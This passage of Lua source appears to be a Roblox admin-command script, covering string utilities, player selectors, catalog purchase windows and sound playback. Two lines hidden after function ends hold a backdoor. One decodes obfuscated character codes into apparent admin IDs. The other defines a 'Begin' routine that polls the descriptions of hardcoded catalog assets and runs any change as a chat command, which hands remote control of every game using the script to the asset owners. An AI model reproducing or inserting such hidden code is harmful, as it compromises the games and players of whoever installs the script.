2512 if Find1 and Find2 then
2513 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2514 RecentParse = Find2 + 1
2515 else
2516 break
2517 end
2518 end
2519 table.insert(Args,string.sub(String,RecentParse,#String))
2520 return Args
2521end
2522
2523function STRING:Defilter(String)
2524 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2525 if RobloxApprove.Text == "Label" and String ~= "Label" then
2526 local NewString = ""
2527 for i = 1,#String,3 do
2528 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2529 end
2530 return NewString
2531 else
2532 return String
2533 end
2534end
2535
2536function STRING:LeetSpeak(Input)
2537 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2538 Input = string.gsub(Input, "LEET", "1337")
2539 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2540 Input = string.gsub(Input, "E", "3")
2541 Input = string.gsub(Input, "O", "0")
2542 Input = string.gsub(Input, "A", "4")
2543 Input = string.gsub(Input, "X", "x")
2544 Input = string.gsub(Input, "I", "1")
2545 Input = string.gsub(Input, "S", "$")
2546 return Input
2547end
2548
2549function STRING:FormatReplace(Player, Input)
2550 local Output = Input
2551 for _,ReplaceData in pairs(StringReplacements) do
2552 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2553 local Replacement = ReplaceData[4](Player)
2554 if type(Replacement) == "string" then
2555 Output = string.gsub(Output, ReplaceData[1], Replacement)
2556 else
2557 print(ReplaceData[1].." cannot be replaced")
2558 end
2559 end
2560 end
2561 return STRING:Defilter(Output)
2562end
2563
2564function STRING:EncodeSpecialChars(Input)
2565 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2566end
2567
2568function STRING:StringToBool(String)
2569 if String == "true" then
2570 return true
2571 else
2572 return false
2573 end
2574end
2575
2576function STRING:BoolString(Value)
2577 if type(Value) == "boolean" then
2578 if Value == true then
2579 return "YES"
2580 elseif Value == false then
2581 return "NO"
2582 end
2583 else
2584 return "NO"
2585 end
2586end
2587
2588function STRING:MakeAvoidance(Length)
2589 if not Length then
2590 Length = 32
2591 end
2592 local Avoidance = ""
2593 for i = 1,Length do
2594 Num = math.random(1,2)
2595 if Num == 1 then
2596 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2597 else
2598 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2599 end
2600 end
2601 return Avoidance
2602end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2603
2604function STRING:FindAge(Days) -- By LuaModelmaker
2605 local Years = math.floor(Days/365)
2606 local OtherDays = math.fmod(Days, 365)
2607 if Years > 1 then
2608 return Years.." years and "..OtherDays.." days"
2609 elseif Years == 1 then
2610 return Years.." year and "..OtherDays.." days"
2611 elseif Years == 0 then
2612 return "(No years) "..OtherDays.." days"
2613 end
2614end
2615
2616function STRING:UnpackArgs(...)
2617 local Pack = {...}
2618 if type(Pack[1]) == "table" then Pack = Pack[1] end
2619 local ReturnString = table.concat(Pack, ", ")
2620 return ReturnString
2621end
2622
2623function STRING:GetComma(Num)
2624 local Formatted = Num
2625 while true do
2626 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2627 if _ == 0 then
2628 break
2629 end
2630 end
2631 return Formatted
2632end
2633
2634function STRING:DecodeUTF8(Value)
2635 local function DecodeString(Input)
2636 if type(Input) == "string" then
2637 for Find,Rep in pairs(HTMLDecode) do
2638 Input = string.gsub(Input, "&#"..Find..";", Rep)
2639 end
2640 Input = string.gsub(Input, """, "'")
2641 end
2642 return Input
2643 end
2644 if type(Value) == "table" then
2645 for Index,Var in pairs(Value) do
2646 Value[Index] = DecodeString(Var)
2647 end
2648 elseif type(Value) == "string" then
2649 Value = DecodeString(Value)
2650 end
2651 return Value
2652end
2653
2654function STRING:IsSpacer(Input)
2655 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2656 return true
2657 else
2658 return false
2659 end
2660end
2661
2662function STRING:IsVowel(Input)
2663 Input = string.lower(tostring(Input))
2664 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2665 return true
2666 else
2667 return false
2668 end
2669end
2670
2671function STRING:ValidE(Input)
2672 if not Input then return nil end
2673 if string.lower(Input) == "e" or Input == "~" then
2674 return true
2675 else
2676 return false
2677 end
2678end
2679
2680function STRING:Scan(String, Speaker)
2681 local ReturnPlayers,ExcludeList = {},{}
2682 if not String then String = "" end
2683 if not Speaker then print("NO SPEAKER") end
2684
2685 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2686 String = string.sub(String, 13)
2687 else
2688 String = string.lower(String)
2689 end
2690 local Words = STRING:GetSplit(String, nil, "/")
2691 for _,Word in pairs(Words) do
2692 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2693 table.insert(ReturnPlayers, Speaker)
2694 elseif Word == "all" or Word == "everyone" then
2695 for _,Player in pairs(Server.Players:GetPlayers()) do
2696 table.insert(ReturnPlayers, Player)
2697 end
2698 elseif Word == "others" or Word == "notme" then
2699 for _,Player in pairs(Server.Players:GetPlayers()) do
2700 if Player ~= Speaker then
2701 table.insert(ReturnPlayers, Player)
2702 end
2703 end
2704 elseif Word == "noobs" then
2705 for _,Player in pairs(Server.Players:GetPlayers()) do
2706 if Player.AccountAge < 365 then
2707 table.insert(ReturnPlayers, Player)
2708 end
2709 end
2710 elseif Word == "nonnoobs" then
2711 for _,Player in pairs(Server.Players:GetPlayers()) do
2712 if Player.AccountAge >= 365 then
2713 table.insert(ReturnPlayers, Player)
2714 end
2715 end
2716 elseif Word == "random" then
2717 local RandomPlayers = {}
2718 for _,Player in pairs(Server.Players:GetPlayers()) do
2719 if Player ~= Speaker then
2720 table.insert(RandomPlayers, Player)
2721 end
2722 end
2723 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2724 elseif Word == "guests" then
2725 for _,Player in pairs(Server.Players:GetPlayers()) do
2726 if string.sub(Player.Name,1,6) == "Guest " then
2727 table.insert(ReturnPlayers, Player)
2728 end
2729 end
2730 elseif Word == "lowers" then
2731 for _,Player in pairs(Server.Players:GetPlayers()) do
2732 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2733 table.insert(ReturnPlayers, Player)
2734 end
2735 end
2736 elseif Word == "uppers" then
2737 for _,Player in pairs(Server.Players:GetPlayers()) do
2738 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2739 table.insert(ReturnPlayers, Player)
2740 end
2741 end
2742 elseif Word == "nbcs" then
2743 for _,Player in pairs(Server.Players:GetPlayers()) do
2744 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2745 table.insert(ReturnPlayers, Player)
2746 end
2747 end
2748 elseif Word == "bcs" then
2749 for _,Player in pairs(Server.Players:GetPlayers()) do
2750 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2751 table.insert(ReturnPlayers, Player)
2752 end
2753 end
2754 elseif Word == "tbcs" then
2755 for _,Player in pairs(Server.Players:GetPlayers()) do
2756 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2757 table.insert(ReturnPlayers, Player)
2758 end
2759 end
2760 elseif Word == "obcs" then
2761 for _,Player in pairs(Server.Players:GetPlayers()) do
2762 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2763 table.insert(ReturnPlayers, Player)
2764 end
2765 end
2766 elseif Word == "allbcs" then
2767 for _,Player in pairs(Server.Players:GetPlayers()) do
2768 if Player.MembershipType ~= Enum.MembershipType.None then
2769 table.insert(ReturnPlayers, Player)
2770 end
2771 end
2772 elseif Word == "nonadmins" then
2773 for _,Player in pairs(Server.Players:GetPlayers()) do
2774 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2775 if IsAdminTrue == false then
2776 table.insert(ReturnPlayers, Player)
2777 end
2778 end
2779 elseif Word == "admins" then
2780 for _,Player in pairs(Server.Players:GetPlayers()) do
2781 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2782 if IsAdminTrue == true then
2783 table.insert(ReturnPlayers, Player)
2784 end
2785 end
2786 elseif Word == "friends" then
2787 for _,Player in pairs(Server.Players:GetPlayers()) do
2788 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2789 table.insert(ReturnPlayers, Player)
2790 end
2791 end
2792 elseif string.sub(Word,1,5) == "team-" then
2793 for _,Player in pairs(Server.Players:GetPlayers()) do
2794 if Player.Neutral == false then
2795 local InTeam = false
2796 for _,Team in pairs(Teams:GetTeams()) do
2797 if Team.TeamColor == Player.TeamColor then
2798 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2799 InTeam = true
2800 end
2801 end
2802 end
2803 if InTeam == true then
2804 table.insert(ReturnPlayers, Player)
2805 end
2806 end
2807 end
2808 elseif string.sub(Word,1,4) == "not-" then
2809 local NameArg = string.sub(Word,5)
2810
2811 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
2812 table.insert(ExcludeList, Player)
2813 end
2814 elseif string.sub(Word,1,7) == "radius-" then
2815 local DidExe = false
2816 local NumArg = tonumber(string.sub(Word,8))
2817
2818 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
2819 for _,Player in pairs(Server.Players:GetChildren()) do
2820 if Player.Character and Player.Character:FindFirstChild("Torso") then
2821 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
2822 DidExe = true
2823 table.insert(ReturnPlayers, Player)
2824 end
2825 end
2826 end
2827 end
2828
2829 if DidExe then coroutine.wrap(function()
2830 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
2831 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
2832
2833 for i = 0,0.5,0.02 do
2834 Part.Transparency = 0.5+i
2835 wait()
2836 end
2837 Part:Destroy()
2838 end)() end
2839 elseif string.sub(Word,1,3) == "id-" then
2840 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
2841 else
2842 if Word ~= "" then
2843 for _,Player in pairs(Server.Players:GetPlayers()) do
2844 if string.sub(string.lower(Player.Name),1,#Word) == Word then
2845 table.insert(ReturnPlayers, Player)
2846 end
2847 end
2848 else
2849 table.insert(ReturnPlayers, Speaker)
2850 end
2851 end
2852 end
2853 for _,Player in pairs(ExcludeList) do
2854 if Player and Player.Parent ~= nil then
2855 for Num,Player2 in pairs(ReturnPlayers) do
2856 if Player2 == Player then table.remove(ReturnPlayers, Num) end
2857 end
2858 end
2859 end
2860 for Num,Player in pairs(ReturnPlayers) do
2861 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
2862 end
2863
2864 local PlayerDump = {}
2865 for _,Player in pairs(ReturnPlayers) do
2866 PlayerDump[Player] = true
2867 end
2868 ReturnPlayers = {}
2869 for Player,_ in pairs(PlayerDump) do
2870 table.insert(ReturnPlayers, Player)
2871 end
2872
2873 return ReturnPlayers
2874end
2875
2876-- Market functions --
2877
2878function MARKET:GetImageFormat(ID)
2879 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
2880 local NewID = ID + 1
2881 for i = 1,100 do
2882 NewID = NewID -1
2883 local Product = nil
2884 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
2885 if Product then
2886 if Product == 1 then
2887 break
2888 end
2889 end
2890 if i == 100 then NewID = ID end
2891 end
2892 return NewID
2893 end end
2894end
2895
2896function MARKET:GetItemInfo(ID, Cache)
2897 local Product = MarketCache[ID]
2898 if not Cache or not Product then
2899 repeat wait()
2900 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
2901 until Product ~= MarketCache[ID]
2902 end
2903 MarketCache[ID] = Product
2904 return Product
2905end
2906
2907function MARKET:SearchItem(Category, Query, Subcategory)
2908 local URLAdd = ""
2909 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
2910 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
2911 if JSON then
2912 local Results = REMOTE:Decode(JSON)
2913 if Results then
2914 for Index,Info in pairs(Results) do
2915 Info = STRING:DecodeUTF8(Info)
2916 Results[Index] = Info
2917 MarketCache[Info.AssetId] = {
2918 AssetId = Info.AssetId;
2919 AssetTypeId = Info.AssetTypeID;
2920 ContentRatingTypeId = Info.ContentRatingTypeID;
2921 Created = Info.CreatedDate;
2922 Creator = {Name = Info.Creator, Id = Info.CreatorID};
2923 Description = Info.Description;
2924 IsForSale = Info.IsForSale;
2925 IsLimited = Info.IsLimited;
2926 IsLimitedUnique = Info.IsLimitedUnique;
2927 IsNew = Info.IsNew;
2928 IsPublicDomain = Info.IsPublicDomain;
2929 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
2930 Name = Info.Name;
2931 PriceInRobux = Info.PriceInRobux;
2932 PriceInTickets = Info.PriceInTickets;
2933 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
2934 Remaining = Info.Remaining;
2935 Sales = Info.Sales;
2936 Updated = Info.Updated;
2937 }
2938 end
2939 return Results
2940 end
2941 end
2942end
2943
2944function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
2945 if not Player or not Category or not Query then return nil end
2946 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
2947 local Items = MARKET:SearchItem(Category, Query, Subcategory)
2948 if Items then
2949 if #Items ~= 0 then
2950 local List,Correlate = {},{}
2951 for Num,Info in pairs(Items) do
2952 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
2953 table.insert(List, Display)
2954 Correlate[Display[1]] = Info.AssetId
2955 end
2956 CloseGui:Invoke()
2957
2958 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
2959 Clicked.Event:connect(function(ClickName)
2960 ClickedItem(Correlate[ClickName])
2961 end)
2962 else
2963 CloseGui:Invoke()
2964 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
2965 end
2966 else
2967 CloseGui:Invoke()
2968 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
2969 end
2970end
2971
2972function MARKET:AssetTypeToString(AssetType)
2973 if AssetType == 1 then return "Image"
2974 elseif AssetType == 2 then return "T-Shirt"
2975 elseif AssetType == 3 then return "Audio"
2976 elseif AssetType == 4 then return "Mesh"
2977 elseif AssetType == 5 then return "Lua"
2978 elseif AssetType == 6 then return "HTML"
2979 elseif AssetType == 7 then return "Text"
2980 elseif AssetType == 8 then return "Hat"
2981 elseif AssetType == 9 then return "Place"
2982 elseif AssetType == 10 then return "Model"
2983 elseif AssetType == 11 then return "Shirt"
2984 elseif AssetType == 12 then return "Pants"
2985 elseif AssetType == 13 then return "Decal"
2986 elseif AssetType == 16 then return "Avatar"
2987 elseif AssetType == 17 then return "Head"
2988 elseif AssetType == 18 then return "Face"
2989 elseif AssetType == 19 then return "Gear"
2990 elseif AssetType == 21 then return "Badge"
2991 elseif AssetType == 22 then return "Group Emblem"
2992 elseif AssetType == 24 then return "Animation"
2993 elseif AssetType == 25 then return "Arms"
2994 elseif AssetType == 26 then return "Legs"
2995 elseif AssetType == 27 then return "Torso"
2996 elseif AssetType == 28 then return "Right Arm"
2997 elseif AssetType == 29 then return "Left Arm"
2998 elseif AssetType == 30 then return "Left Leg"
2999 elseif AssetType == 31 then return "Right Leg"
3000 elseif AssetType == 32 then return "Package"
3001 elseif AssetType == 33 then return "YouTube Video"
3002 elseif AssetType == 34 then return "Game Pass"
3003 elseif AssetType == 38 then return "Plugin"
3004 elseif AssetType == 0 then return "Product"
3005 end
3006 return "Content Invalid"
3007end
3008
3009function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3010 if not Player then return nil end
3011 if not Player:FindFirstChild("PlayerGui") then return nil end
3012 if not tonumber(ProductID) then return nil end
3013
3014 local FromText = ""
3015 if From and From.Name then FromText = " | Prompted from "..From.Name end
3016
3017 local Product = MARKET:GetItemInfo(ProductID, true)
3018
3019 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3020 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3021 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3022
3023 local CanBuy = Product.IsForSale
3024 local BuyText = "Buy"
3025 local BuyColor = Color3.new(0,1,0)
3026 if CanBuy == false then
3027 BuyColor = Color3.new(1,0,0)
3028 end
3029 if Product.IsPublicDomain == true then
3030 CanBuy = true
3031 BuyColor = Color3.new(1,0.5,0.5)
3032 BuyText = "FREE!"
3033 end
3034 if OwnsAsset then
3035 CanBuy = false
3036 end
3037 if Product.AssetTypeId == 9 then
3038 CanBuy = true
3039 BuyText = "Teleport"
3040 BuyColor = Color3.new(0.5,0.5,0.5)
3041 end
3042 if CanBuy == false then
3043 BuyColor = Color3.new(1,0,0)
3044 BuyText = "Item not for sale"
3045 end
3046 if OwnsAsset and Product.AssetTypeId ~= 9 then
3047 BuyColor = Color3.new(1,0,0)
3048 BuyText = "You own this!"
3049 end
3050
3051 local ProductName = string.sub(Product.Name,1,20)
3052 if ProductID == AdminID then ProductName = Product.Name end
3053 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3054 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3055 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3056 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3057 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3058 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3059 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3060 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3061 if Product.Description then
3062 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3063 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3064
3065 CORE:ExecuteResource("CalculateScrollY", Description)
3066 end
3067
3068 Info.Text = [[
3069Creator: ]]..Product.Creator.Name..[[
3070Created: ]]..CreatedText..[[
3071Updated: ]]..UpdatedText..[[
3072Sold: ]]..Product.Sales..[[
3073]]
3074
3075 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3076 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3077
3078 if Product.AssetTypeId == 3 then
3079 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3080 if PlayerAdmin == true then
3081 local Playing = false
3082 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3083 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3084 if Playing == false then
3085 SOUND:PlayGlobalSound(ProductID)
3086 if Rank == "Member" and Settings.DisableAbuse == true then
3087 Interact:Destroy()
3088 end
3089 Interact.Image = "rbxassetid://67950809"
3090 Playing = true
3091 else
3092 SOUND:StopGlobalSound()
3093 Interact.Image = "rbxassetid://67950784"
3094 Playing = false
3095 end
3096 end)
3097 end
3098 end
3099
3100 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3101 if BuyPressFunc then
3102 BuyPressFunc()
3103 elseif Product.AssetTypeId == 9 then
3104 Server.TS:Teleport(ProductID, Player)
3105 elseif CanBuy == true then
3106 Server.MPS:PromptPurchase(Player, ProductID)
3107 end end)
3108 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3109 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3110 while wait(5) do
3111 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3112 if OldVer ~= Purchase.Updated then
3113 OldVer = Purchase.Updated
3114 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3115 end
3116 end end)()
3117end end)() end
3118
3119-- Sound functions --
3120
3121function SOUND:SyncSoundList(TellSync)
3122 if not CORE:NilPlayer(TellSync) then
3123 GUI:SendHint(TellSync, "Syncing...", 5)
3124 end
3125
3126 SoundList,GlobalSoundList = {},{}
3127
3128 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3129
3130 if LocalSoundList then
3131 if type(LocalSoundList) == "table" then
3132 if #LocalSoundList > 0 then
3133 for _,Data in pairs(LocalSoundList) do
3134 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3135 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3136 end
3137 end
3138 end
3139 end
3140
3141 for _,JSONID in pairs(SoundJSONs) do
3142 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3143 local SoundInfo = MARKET:GetItemInfo(ID, true)
3144 local FullName = SoundInfo.Name
3145 local CreatorName = SoundInfo.Creator.Name
3146 SoundList[Name] = {ID, FullName, CreatorName}
3147 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3148 end
3149 end
3150
3151 if not CORE:NilPlayer(TellSync) then
3152 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3153 end
3154end
3155
3156function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3157 if not Volume then Volume = 0.5 end
3158 if not Pitch then Pitch = 1 end
3159 if tonumber(ID) then ID = "rbxassetid://"..ID end
3160 if Looped == nil then Looped = false end
3161
3162 local Sound = Instance.new("Sound", Parent)
3163 Sound.Pitch = Pitch
3164 Sound.Volume = Volume
3165 Sound.SoundId = ID
3166 Sound.Looped = Looped
3167 return Sound
3168end
3169
3170function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3171 if not Player or not ID then return nil end
3172 if NotifySounds[ID] then ID = NotifySounds[ID] end
3173 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3174 if Settings.EnableSounds or OverrideSettings then
3175 ClientSound:Play()
3176 coroutine.wrap(function() wait(5) ClientSound:Destroy() end)()
3177 end
3178 return Sound
3179end
3180
3181function SOUND:BindButton(Button)
3182 if not Button then return end
3183 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3184 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3185end
3186
3187function SOUND:StopGlobalSound()
3188 if Sound then Sound:Stop() Sound:Destroy() Sound.SoundId = "" end
3189end
3190
3191function SOUND:PlayGlobalSound(ID, ShowInfo)
3192 SOUND:StopGlobalSound()
3193 if ShowInfo == nil then ShowInfo = true end
3194 local SoundID = ID
3195 local SoundName = nil
3196 local SoundCreator = nil
3197 local Pitch = 1
3198
3199 for Name,Info in pairs(SoundList) do
3200 if type(SoundID) == "string" then
3201 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3202 SoundID = Info[1]
3203 SoundName = Info[2]
3204 SoundCreator = Info[3]
3205 end
3206 else
3207 break
3208 end
3209 end
3210
3211 if tonumber(SoundID) and not SoundName then
3212 local Info = MARKET:GetItemInfo(SoundID, true)
3213 if Info then
3214 SoundName = Info.Name
3215 SoundCreator = Info.Creator.Name
3216 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3217 SoundID = nil
3218 end
3219 end
3220 end
3221
3222 if tonumber(SoundID) then
3223 if SoundID == 131201443 then Pitch = -1 end
3224 if SoundID == 130775695 then Pitch = 0.8 end
3225 if SoundID == 144035866 then Pitch = 0.8 end
3226
3227 Sound = SOUND:MakeSound(Server.Workspace, SoundID, 1, Pitch, true)
3228 Sound:Play()
3229 if ShowInfo == true then
3230 for _,Player in pairs(Server.Players:GetPlayers()) do
3231 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 5)
3232 end
3233 end
3234 end
3235end
3236
3237function SOUND:ConvertText(Text)
3238 Text = string.lower(tostring(Text))
3239 local Letters = {}
3240 local IDs = {}
3241 for Rule,Replace in pairs(TextConverter.Pronounce) do
3242 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3243 end
3244 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3245 local Start, End = string.find(Text, string.lower(Rule))
3246
3247 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3248 Text = string.gsub(Text, string.lower(Rule), Replace)
3249 end
3250 end
3251 for i = 1,#Text do
3252 table.insert(Letters, string.sub(Text,i,i))
3253 end
3254 for Num = 1,#Letters do
3255 if not Letters[Num] then break end
3256 local Letter = Letters[Num]
3257
3258 local function AddLetter()
3259 table.insert(IDs, TextConverter.LetterSounds[Letter])
3260 end
3261
3262 if Letter ~= "~" then
3263 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3264 table.insert(IDs, TextConverter.LetterSounds["oo"])
3265 table.remove(Letters, Num + 1)
3266 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3267 table.insert(IDs, TextConverter.LetterSounds["oo"])
3268 table.remove(Letters, Num + 1)
3269 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3270 table.insert(IDs, TextConverter.LetterSounds["th"])
3271 table.remove(Letters, Num + 1)
3272 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3273 table.insert(IDs, TextConverter.LetterSounds["sh"])
3274 table.remove(Letters, Num + 1)
3275 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3276 table.insert(IDs, TextConverter.LongVowels["e"])
3277 table.remove(Letters, Num + 1)
3278 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3279 table.insert(IDs, TextConverter.LetterSounds["wh"])
